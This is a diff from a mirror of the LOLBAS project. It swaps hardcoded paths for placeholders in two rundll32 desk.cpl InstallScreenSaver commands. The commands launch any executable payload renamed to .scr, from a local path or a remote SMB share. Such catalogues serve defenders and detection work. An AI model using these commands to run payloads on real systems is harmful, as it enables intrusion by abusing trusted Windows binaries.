mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-29 21:52:20 +02:00
@@ -4,7 +4,7 @@ Description: Desktop Settings Control Panel
|
||||
Author: Hai Vaknin
|
||||
Created: 2022-04-21
|
||||
Commands:
|
||||
- Command: rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr
|
||||
- Command: rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}
|
||||
Description: Launch an executable with a .scr extension by calling the InstallScreenSaver function.
|
||||
Usecase: Launch any executable payload, as long as it uses the .scr extension.
|
||||
Category: Execute
|
||||
@@ -13,7 +13,7 @@ Commands:
|
||||
OperatingSystem: Windows 10, Windows 11
|
||||
Tags:
|
||||
- Execute: EXE
|
||||
- Command: rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr
|
||||
- Command: rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}
|
||||
Description: Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.
|
||||
Usecase: Launch any executable payload, as long as it uses the .scr extension.
|
||||
Category: Execute
|
||||
|
Reference in New Issue
Block a user